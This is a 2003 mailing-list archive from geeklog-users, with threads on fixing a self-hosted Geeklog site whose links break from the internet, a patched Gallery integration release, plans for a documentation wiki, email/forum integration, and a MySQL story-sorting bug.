links. I have attached my httpd.conf and the config.php for you to look at. As at now, the localhost is the entry in the site url. so if you go to the site, you will get the site with broken links. Am I supposed to share any of my directories to make my site work? Please I am desperate. It is not working and I think it has something to do with my config.php file. Ola From tony at tonybibbs.com Mon Dec 29 10:15:14 2003 From: tony at tonybibbs.com (Tony Bibbs) Date: Mon, 29 Dec 2003 09:15:14 -0600 Subject: [geeklog-users] Is there any hope for my site? In-Reply-To: References: Message-ID: <3FF04502.3010008@tonybibbs.com> This is clearly not a Geeklog issue. That being said, don't hope for too much feedback. Odds are you have one or more problems: 1) bad DNS setup (when you ping feyiola.com from a remote box do you get the right IP?). 2) Bad router configuration. Are you sure traffic that should get to 192.168.1.22 is getting route right from your router? 3) bad Apache configuration...if you can ping fine, it is possible that Apache isn't configured right. Look in the Apache error logs for the error you get when you navigate to http://www.feyiola.com Sounds like you'll need to get someone familiar with networking to help troubleshoot this one for you. --Tony Ola Ogunneye wrote: > Hello guys, > > I have been posting in the forum, and I cannot seem to resolve my > problem. My site is ready locally. When I browse my site on the > webserver, I get the desired result. However, when I browse it from the > internet, It does not work. > > The following are pertinent information for my system > > Router -WAN IP 216.49.74.183 LAN IP 192.168.1.1 > Server LAN IP 192.168.1.22 > Sever DNS entry 192.168.1.22 - Microsoft recommended > > > Windows 2000 Advanced Server with Active Directory and Local DNS > Apache 2.0.47 > PHP 4.3.2 > Mysql 4.0.13 > Geeklog 1.3.8 > Gallery 1.4 > > My docroot is d:/apache/apache2/htdocs/feyiola_public > > When I had my $_CONF['site url'] as http:'localhost' it works perfectly > well on my webserver but it cannot be viewed on the internet, it shows > broken links. When I change the localhost entry to www.feyiola.com, then > locally I get the broken links. > > I have attached my httpd.conf and the config.php for you to look at. > > As at now, the localhost is the entry in the site url. so if you go to > the site, you will get the site with broken links. > > Am I supposed to share any of my directories to make my site work? > > Please I am desperate. It is not working and I think it has something > to do with my config.php file. > > Ola > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users From vmf at abtech.org Mon Dec 29 10:15:32 2003 From: vmf at abtech.org (Vincent Furia) Date: Mon, 29 Dec 2003 10:15:32 -0500 Subject: [geeklog-users] Geeklog Gallery Integration Release In-Reply-To: References: Message-ID: <3FF04514.9000002@abtech.org> Either method will work, though I'd recommend just deleting the first installation and using the new release. If you have any albums, you won't lose them in such an upgrade. -Vinny Ola Ogunneye wrote: >Sorry to sound stupid, but can I delete the previous one that I had >installed and then install this new one or would editing the parameters >posted in the forum be good enough. > >I am still having problem getting my site to the internet, so I am >wondering if deleting the previous version would be better for me. > >Thanks > > > >>>>vmf at abtech.org 12/28/03 10:53PM >>> >>>> >>>> >A new release which eliminates the previously discovered security >vulnerbilities and updates the gallery version to 1.4.1. The file to >download is gallery_1.4.1_1.3.8.tar.gz. The url to download from: > >http://sourceforge.net/project/showfiles.php?group_id=68255&package_id=69388&release_id=206395 > > >-Vinny > >_______________________________________________ >geeklog-users mailing list >geeklog-users at lists.geeklog.net >http://lists.geeklog.net/listinfo/geeklog-users >_______________________________________________ >geeklog-users mailing list >geeklog-users at lists.geeklog.net >http://lists.geeklog.net/listinfo/geeklog-users > > > From vmf at abtech.org Mon Dec 29 10:18:17 2003 From: vmf at abtech.org (Vincent Furia) Date: Mon, 29 Dec 2003 10:18:17 -0500 Subject: [geeklog-users] Is there any hope for my site? In-Reply-To: References: Message-ID: <3FF045B9.6060708@abtech.org> Try changing your $_CONF['site_url'] variable to equal "http://216.49.74.183/". It looks like your using domain name forwarding of some type to forward connections from http://www.feyiola.com/ to http://216.49.74.183/. Good Luck, Vinny Ola Ogunneye wrote: >Hello guys, > >I have been posting in the forum, and I cannot seem to resolve my >problem. My site is ready locally. When I browse my site on the >webserver, I get the desired result. However, when I browse it from the >internet, It does not work. > >The following are pertinent information for my system > >Router -WAN IP 216.49.74.183 LAN IP 192.168.1.1 >Server LAN IP 192.168.1.22 >Sever DNS entry 192.168.1.22 - Microsoft recommended > > >Windows 2000 Advanced Server with Active Directory and Local DNS >Apache 2.0.47 >PHP 4.3.2 >Mysql 4.0.13 >Geeklog 1.3.8 >Gallery 1.4 > >My docroot is d:/apache/apache2/htdocs/feyiola_public > >When I had my $_CONF['site url'] as http:'localhost' it works perfectly >well on my webserver but it cannot be viewed on the internet, it shows >broken links. When I change the localhost entry to www.feyiola.com, then >locally I get the broken links. > >I have attached my httpd.conf and the config.php for you to look at. > >As at now, the localhost is the entry in the site url. so if you go to >the site, you will get the site with broken links. > >Am I supposed to share any of my directories to make my site work? > >Please I am desperate. It is not working and I think it has something >to do with my config.php file. > >Ola >_______________________________________________ >geeklog-users mailing list >geeklog-users at lists.geeklog.net >http://lists.geeklog.net/listinfo/geeklog-users > > > From geeklog at sebastiancelis.com Mon Dec 29 10:19:52 2003 From: geeklog at sebastiancelis.com (Sebastian Celis) Date: Mon, 29 Dec 2003 09:19:52 -0600 Subject: [geeklog-users] Geeklog Documentation Effort In-Reply-To: References: Message-ID: <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com> Hey everyone, Well, Dirk suggested we move this topic off of the forum and into the mailing list, so here we go. emagin, an anonymous user suggested MoinMoin (http://moin.sf.net/) for our wiki purposes as it has image upload capabilities. I've briefly looked it over and it looks pretty nice. Have you had the chance to check it out? Once we get this wiki in place, we can take off with the doc writing. Shall we try for a goal of getting the wiki setup and running by the beginning of January? - Sebastian (aka Turias) From nylug at q5comm.com Mon Dec 29 10:42:53 2003 From: nylug at q5comm.com (Ed Weinberg) Date: Mon, 29 Dec 2003 10:42:53 -0500 Subject: [geeklog-users] email/forum integration Message-ID: <1072712573.1256.5.camel@ed.q> Is there a module which integrates email with forums? What I would like is posts to forum "a" be sent to subscribers of list "a" and posts to list "a" be added to forum "a". Does this exist? -- Ed Weinberg From tony at tonybibbs.com Mon Dec 29 11:38:00 2003 From: tony at tonybibbs.com (Tony Bibbs) Date: Mon, 29 Dec 2003 10:38:00 -0600 Subject: [geeklog-users] Geeklog Documentation Effort In-Reply-To: <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com> References: <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com> Message-ID: <3FF05868.4050002@tonybibbs.com> Sounds good to me. I'm not a big fan of wiki's...that's not to say I won't use it I just haven't like many of the interfaces. Let us know where the home for the wiki will reside in the end... --Tony Sebastian Celis wrote: > Hey everyone, > > Well, Dirk suggested we move this topic off of the forum and into the > mailing list, so here we go. > > emagin, an anonymous user suggested MoinMoin (http://moin.sf.net/) for > our wiki purposes as it has image upload capabilities. I've briefly > looked it over and it looks pretty nice. Have you had the chance to > check it out? > > Once we get this wiki in place, we can take off with the doc writing. > Shall we try for a goal of getting the wiki setup and running by the > beginning of January? > > - Sebastian (aka Turias) > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users From tony at tonybibbs.com Mon Dec 29 11:41:29 2003 From: tony at tonybibbs.com (Tony Bibbs) Date: Mon, 29 Dec 2003 10:41:29 -0600 Subject: [geeklog-users] email/forum integration In-Reply-To: <1072712573.1256.5.camel@ed.q> References: <1072712573.1256.5.camel@ed.q> Message-ID: <3FF05939.5020308@tonybibbs.com> No, this doesn't exist. We have had requests to go the other direction (i.e. posts to mailing lists showing up in a forum). There is a function, COM_email, that make sending emails from Geeklog (and plugins) easy. If you are capable of modifying the code to use it and provide the administrative interface that allows admins to tie a forum to a mailing list then I'm sure Blaine would consider adding it into the codebase. If not, got o Blaine's site and leave a feature request. --Tony Ed Weinberg wrote: > Is there a module which integrates email with forums? What I would like > is posts to forum "a" be sent to subscribers of list "a" and posts to > list "a" be added to forum "a". > > Does this exist? From geeklog at sebastiancelis.com Mon Dec 29 12:16:06 2003 From: geeklog at sebastiancelis.com (Sebastian Celis) Date: Mon, 29 Dec 2003 11:16:06 -0600 Subject: [geeklog-users] Geeklog Documentation Effort In-Reply-To: <3FF05868.4050002@tonybibbs.com> References: <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com> <3FF05868.4050002@tonybibbs.com> Message-ID: I agree that wikis don't have an ideal interface. Unfortunately, though, I don't think that there is a better option for what we are trying to do. Doing everything through CVS would probably work really nicely, but that would probably discourage a large number of users from contributing to the documentation. Now, that might be a good thing or a bad thing, depending on how you look at it... but currently I am leaning toward a Wiki being the best way to get the collaborative documentation effort up and running. - Sebastian On Dec 29, 2003, at 10:38 AM, Tony Bibbs wrote: > Sounds good to me. I'm not a big fan of wiki's...that's not to say I > won't use it I just haven't like many of the interfaces. Let us know > where the home for the wiki will reside in the end... > > --Tony From tony at tonybibbs.com Mon Dec 29 12:22:09 2003 From: tony at tonybibbs.com (Tony Bibbs) Date: Mon, 29 Dec 2003 11:22:09 -0600 Subject: [geeklog-users] Geeklog Documentation Effort In-Reply-To: References: <736E0D36-3A12-11D8-A6EF-0050E4D9061F@sebastiancelis.com> <3FF05868.4050002@tonybibbs.com> Message-ID: <3FF062C1.7080403@tonybibbs.com> Regardless, you should use CVS. When you get version 1 of the docs done I would CVS and tag it. That way all current work is in the wiki where it can change daily but CVS only holds 'polished' versions of it. Just a thought, oh, and of course we would make the Geeklog CVS repository available to you all should you want/need it. --Tony Sebastian Celis wrote: > I agree that wikis don't have an ideal interface. Unfortunately, > though, I don't think that there is a better option for what we are > trying to do. Doing everything through CVS would probably work really > nicely, but that would probably discourage a large number of users from > contributing to the documentation. Now, that might be a good thing or a > bad thing, depending on how you look at it... but currently I am > leaning toward a Wiki being the best way to get the collaborative > documentation effort up and running. > > - Sebastian > > > On Dec 29, 2003, at 10:38 AM, Tony Bibbs wrote: > >> Sounds good to me. I'm not a big fan of wiki's...that's not to say I >> won't use it I just haven't like many of the interfaces. Let us know >> where the home for the wiki will reside in the end... >> >> --Tony > > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users From dirk at haun-online.de Mon Dec 29 12:22:18 2003 From: dirk at haun-online.de (Dirk Haun) Date: Mon, 29 Dec 2003 18:22:18 +0100 Subject: [geeklog-users] email/forum integration In-Reply-To: <3FF05939.5020308@tonybibbs.com> References: <3FF05939.5020308@tonybibbs.com> Message-ID: <20031229172218.14908@smtp.haun-online.de> Tony wrote: >There is a >function, COM_email, that make sending emails from Geeklog (and plugins) >easy. Actually, the function's name is COM_mail and it only exists in the CVS version at the moment (i.e. it will be available in Geeklog 1.3.9). Geeklog 1.3.8 (and earlier) use PHP's mail() function directly. bye, Dirk -- http://www.haun-online.de/ http://www.haun.info/ From tony at tonybibbs.com Mon Dec 29 12:56:38 2003 From: tony at tonybibbs.com (Tony Bibbs) Date: Mon, 29 Dec 2003 11:56:38 -0600 Subject: [geeklog-users] email/forum integration / 1.3.9 In-Reply-To: <20031229172218.14908@smtp.haun-online.de> References: <3FF05939.5020308@tonybibbs.com> <20031229172218.14908@smtp.haun-online.de> Message-ID: <3FF06AD6.5050105@tonybibbs.com> Thanks for the clarification. What's left on your 1.3.9 to-do list? --Tony Dirk Haun wrote: > Tony wrote: > > >>There is a >>function, COM_email, that make sending emails from Geeklog (and plugins) >>easy. > > > Actually, the function's name is COM_mail and it only exists in the CVS > version at the moment (i.e. it will be available in Geeklog 1.3.9). > > Geeklog 1.3.8 (and earlier) use PHP's mail() function directly. > > bye, Dirk > > From woklist at charter.net Mon Dec 29 15:34:15 2003 From: woklist at charter.net (William K) Date: Mon, 29 Dec 2003 14:34:15 -0600 Subject: [geeklog-users] story sorting messed up Message-ID: <5E3AADC2-3A3E-11D8-B68F-000A95DB713E@charter.net> I just transferred our geeklog site to a new computer, and the story sorting is now random. Same GL version (1.3.8sr4), config settings all the same. But the new system has MySQL 4.0 (previous 3.23.51). I used a sql dump from the old and imported that into the new mysql before running geeklog. Does GL have any problems with MySQL 4, or is there some GL setting or conversion or update I missed? ----- William Kyngesburye http://webpages.charter.net/kyngchaos/ First Pogril: Why is life like sticking your head in a bucket filled with hyena offal? Second Pogril: I don't know. Why IS life like sticking your head in a bucket filled with hyena offal? First Pogril: I don't know either. Wretched, isn't it? -HitchHiker's Guide to the Galaxy From OOgunney at adventisthealthcare.com Mon Dec 29 10:53:43 2003 From: OOgunney at adventisthealthcare.com (Ola Ogunneye) Date: Mon, 29 Dec 2003 10:53:43 -0500 Subject: [geeklog-users] Is there any hope for my site? Message-ID: You are right, I have my domain name registered with hostway and was given another IP address even though I have my own IP address, I paid $6.95/year for Domain name and they are not cooperating with me to resolve my domain name to my IP address. So I am waiting for the 60 days (required) to transfer to another registrar. It is because of that, that I forwarded the domain to my IP address on the hostway site. In the next 9 days, I should be able to resolve my domain name to its proper IP. I have been advised to do exactly what you said in the forum. When I change from localhost to IP address, what I get locally is what you saw on my site. All the broken links with no Pictures, and that is why I keep thinking that the problem is with Config.php. I just recently moved the geeklog directory into my htdocs and that is why you see the site like that. Prior to that, the geeklog directory was outside htdocs, and if you had gone to http://216.49.74.183, you would have seen the Apache default page. which tells me that Apache was successfully installed. While we are on the subject, I should point out that I am the only user that I created in mysql. Could this be the problem? Must there be other users in mysql in order for the system to work? Thanks in advance Ola >>> vmf at abtech.org 12/29/03 10:18AM >>> Try changing your $_CONF['site_url'] variable to equal "http://216.49.74.183/". It looks like your using domain name forwarding of some type to forward connections from http://www.feyiola.com/ to http://216.49.74.183/. Good Luck, Vinny Ola Ogunneye wrote: >Hello guys, > >I have been posting in the forum, and I cannot seem to resolve my >problem. My site is ready locally. When I browse my site on the >webserver, I get the desired result. However, when I browse it from the >internet, It does not work. > >The following are pertinent information for my system > >Router -WAN IP 216.49.74.183 LAN IP 192.168.1.1 >Server LAN IP 192.168.1.22 >Sever DNS entry 192.168.1.22 - Microsoft recommended > > >Windows 2000 Advanced Server with Active Directory and Local DNS >Apache 2.0.47 >PHP 4.3.2 >Mysql 4.0.13 >Geeklog 1.3.8 >Gallery 1.4 > >My docroot is d:/apache/apache2/htdocs/feyiola_public > >When I had my $_CONF['site url'] as http:'localhost' it works perfectly >well on my webserver but it cannot be viewed on the internet, it shows >broken links. When I change the localhost entry to www.feyiola.com, then >locally I get the broken links. > >I have attached my httpd.conf and the config.php for you to look at. > >As at now, the localhost is the entry in the site url. so if you go to >the site, you will get the site with broken links. > >Am I supposed to share any of my directories to make my site work? > >Please I am desperate. It is not working and I think it has something >to do with my config.php file. > >Ola >_______________________________________________ >geeklog-users mailing list >geeklog-users at lists.geeklog.net >http://lists.geeklog.net/listinfo/geeklog-users > > > _______________________________________________ geeklog-users mailing list geeklog-users at lists.geeklog.net http://lists.geeklog.net/listinfo/geeklog-users From admin at tesn.net Mon Dec 29 18:54:53 2003 From: admin at tesn.net (admin) Date: Mon, 29 Dec 2003 17:54:53 -0600 Subject: [geeklog-users] Is there any hope for my site? In-Reply-To: References: Message-ID: <6.0.0.22.0.20031229174905.01b25f38@mail.tesn.net> you might try changing $_CONF['site url'] = 'http:'localhost' ; to $_CONF['site url'] = 'http://216.49.74.183'; or if you want it to display your $_CONF['site_url'] = 'http://www.feyiola.com'; I am not an expert but I think this will work. -john http://jdaw.net http://tdow.net http://slpff.org http://tesn.net At 09:53 AM 12/29/2003, you wrote: >You are right, I have my domain name registered with hostway and was >given another IP address even though I have my own IP address, I paid >$6.95/year for Domain name and they are not cooperating with me to >resolve my domain name to my IP address. So I am waiting for the 60 days >(required) to transfer to another registrar. It is because of that, that >I forwarded the domain to my IP address on the hostway site. In the next >9 days, I should be able to resolve my domain name to its proper IP. > >I have been advised to do exactly what you said in the forum. When I >change from localhost to IP address, what I get locally is what you saw >on my site. All the broken links with no Pictures, and that is why I >keep thinking that the problem is with Config.php. > >I just recently moved the geeklog directory into my htdocs and that is >why you see the site like that. Prior to that, the geeklog directory was >outside htdocs, and if you had gone to http://216.49.74.183, you would >have seen the Apache default page. which tells me that Apache was >successfully installed. > >While we are on the subject, I should point out that I am the only user >that I created in mysql. Could this be the problem? Must there be other >users in mysql in order for the system to work? > >Thanks in advance > >Ola > > >>> vmf at abtech.org 12/29/03 10:18AM >>> >Try changing your $_CONF['site_url'] variable to equal >"http://216.49.74.183/". It looks like your using domain name >forwarding of some type to forward connections from >/ to http://216.49.74.183/. > >Good Luck, >Vinny > >Ola Ogunneye wrote: > > >Hello guys, > > > >I have been posting in the forum, and I cannot seem to resolve my > >problem. My site is ready locally. When I browse my site on the > >webserver, I get the desired result. However, when I browse it from >the > >internet, It does not work. > > > >The following are pertinent information for my system > > > >Router -WAN IP 216.49.74.183 LAN IP 192.168.1.1 > >Server LAN IP 192.168.1.22 > >Sever DNS entry 192.168.1.22 - Microsoft recommended > > > > > >Windows 2000 Advanced Server with Active Directory and Local DNS > >Apache 2.0.47 > >PHP 4.3.2 > >Mysql 4.0.13 > >Geeklog 1.3.8 > >Gallery 1.4 > > > >My docroot is d:/apache/apache2/htdocs/feyiola_public > > > >When I had my $_CONF['site url'] as http:'localhost' it works >perfectly > >well on my webserver but it cannot be viewed on the internet, it >shows > >broken links. When I change the localhost entry to www.feyiola.com, >then > >locally I get the broken links. > > > >I have attached my httpd.conf and the config.php for you to look at. > > > >As at now, the localhost is the entry in the site url. so if you go >to > >the site, you will get the site with broken links. > > > >Am I supposed to share any of my directories to make my site work? > > > >Please I am desperate. It is not working and I think it has something > >to do with my config.php file. > > > >Ola > >_______________________________________________ > >geeklog-users mailing list > >geeklog-users at lists.geeklog.net > >http://lists.geeklog.net/listinfo/geeklog-users > > > > > > > > >_______________________________________________ >geeklog-users mailing list >geeklog-users at lists.geeklog.net >http://lists.geeklog.net/listinfo/geeklog-users >_______________________________________________ >geeklog-users mailing list >geeklog-users at lists.geeklog.net >http://lists.geeklog.net/listinfo/geeklog-users From admin at tesn.net Mon Dec 29 19:04:45 2003 From: admin at tesn.net (admin) Date: Mon, 29 Dec 2003 18:04:45 -0600 Subject: [geeklog-users] Is there any hope for my site? In-Reply-To: References: Message-ID: <6.0.0.22.0.20031229175854.01afd7c8@mail.tesn.net> Ok So I didn't read your post all the way...I just viewed your site and then started suggesting ... You will still need to change what has been suggested by me and Vinne but you need to check your path in your config file which is what you had suggested what you think is wrong. Check to make sure these are correct: // $_CONF['path_html'] = '/path/to/your/public_html/'; or in your case // $_CONF['path_html'] = '/path/to/your/htdocs/'; Mine looks something like this: $_CONF['path_html'] = '/home/ksb/www/htdocs/' Again I am no expert...just trying to help. -john http://jdaw.net http://tdow.net http://slpff.org http://tesn.net At 09:53 AM 12/29/2003, you wrote: >You are right, I have my domain name registered with hostway and was >given another IP address even though I have my own IP address, I paid >$6.95/year for Domain name and they are not cooperating with me to >resolve my domain name to my IP address. So I am waiting for the 60 days >(required) to transfer to another registrar. It is because of that, that >I forwarded the domain to my IP address on the hostway site. In the next >9 days, I should be able to resolve my domain name to its proper IP. > >I have been advised to do exactly what you said in the forum. When I >change from localhost to IP address, what I get locally is what you saw >on my site. All the broken links with no Pictures, and that is why I >keep thinking that the problem is with Config.php. > >I just recently moved the geeklog directory into my htdocs and that is >why you see the site like that. Prior to that, the geeklog directory was >outside htdocs, and if you had gone to http://216.49.74.183, you would >have seen the Apache default page. which tells me that Apache was >successfully installed. > >While we are on the subject, I should point out that I am the only user >that I created in mysql. Could this be the problem? Must there be other >users in mysql in order for the system to work? > >Thanks in advance > >Ola > > >>> vmf at abtech.org 12/29/03 10:18AM >>> >Try changing your $_CONF['site_url'] variable to equal >"http://216.49.74.183/". It looks like your using domain name >forwarding of some type to forward connections from >http://www.feyiola.com/ to http://216.49.74.183/. > >Good Luck, >Vinny > >Ola Ogunneye wrote: > > >Hello guys, > > > >I have been posting in the forum, and I cannot seem to resolve my > >problem. My site is ready locally. When I browse my site on the > >webserver, I get the desired result. However, when I browse it from >the > >internet, It does not work. > > > >The following are pertinent information for my system > > > >Router -WAN IP 216.49.74.183 LAN IP 192.168.1.1 > >Server LAN IP 192.168.1.22 > >Sever DNS entry 192.168.1.22 - Microsoft recommended > > > > > >Windows 2000 Advanced Server with Active Directory and Local DNS > >Apache 2.0.47 > >PHP 4.3.2 > >Mysql 4.0.13 > >Geeklog 1.3.8 > >Gallery 1.4 > > > >My docroot is d:/apache/apache2/htdocs/feyiola_public > > > >When I had my $_CONF['site url'] as http:'localhost' it works >perfectly > >well on my webserver but it cannot be viewed on the internet, it >shows > >broken links. When I change the localhost entry to www.feyiola.com, >then > >locally I get the broken links. > > > >I have attached my httpd.conf and the config.php for you to look at. > > > >As at now, the localhost is the entry in the site url. so if you go >to > >the site, you will get the site with broken links. > > > >Am I supposed to share any of my directories to make my site work? > > > >Please I am desperate. It is not working and I think it has something > >to do with my config.php file. > > > >Ola > >_______________________________________________ > >geeklog-users mailing list > >geeklog-users at lists.geeklog.net > >http://lists.geeklog.net/listinfo/geeklog-users > > > > > > > > >_______________________________________________ >geeklog-users mailing list >geeklog-users at lists.geeklog.net >http://lists.geeklog.net/listinfo/geeklog-users >_______________________________________________ >geeklog-users mailing list >geeklog-users at lists.geeklog.net >http://lists.geeklog.net/listinfo/geeklog-users From woklist at charter.net Tue Dec 30 12:49:21 2003 From: woklist at charter.net (William K) Date: Tue, 30 Dec 2003 11:49:21 -0600 Subject: [geeklog-users] story sorting messed up - fixed In-Reply-To: <5E3AADC2-3A3E-11D8-B68F-000A95DB713E@charter.net> References: <5E3AADC2-3A3E-11D8-B68F-000A95DB713E@charter.net> Message-ID: <7F641925-3AF0-11D8-A56C-000A95DB713E@charter.net> Well, I fixed it. I don't know if it was Apple's preinstalled MySQL on OSX Server or if it was the version (4.0.16). I installed 4.0.17 and the sorting problem is sorted out ^_^ On Dec 29, 2003, at 2:34 PM, William K wrote: > I just transferred our geeklog site to a new computer, and the story > sorting is now random. Same GL version (1.3.8sr4), config settings > all the same. But the new system has MySQL 4.0 (previous 3.23.51). I > used a sql dump from the old and imported that into the new mysql > before running geeklog. ----- William Kyngesburye http://webpages.charter.net/kyngchaos/ All generalizations are dangerous, even this one.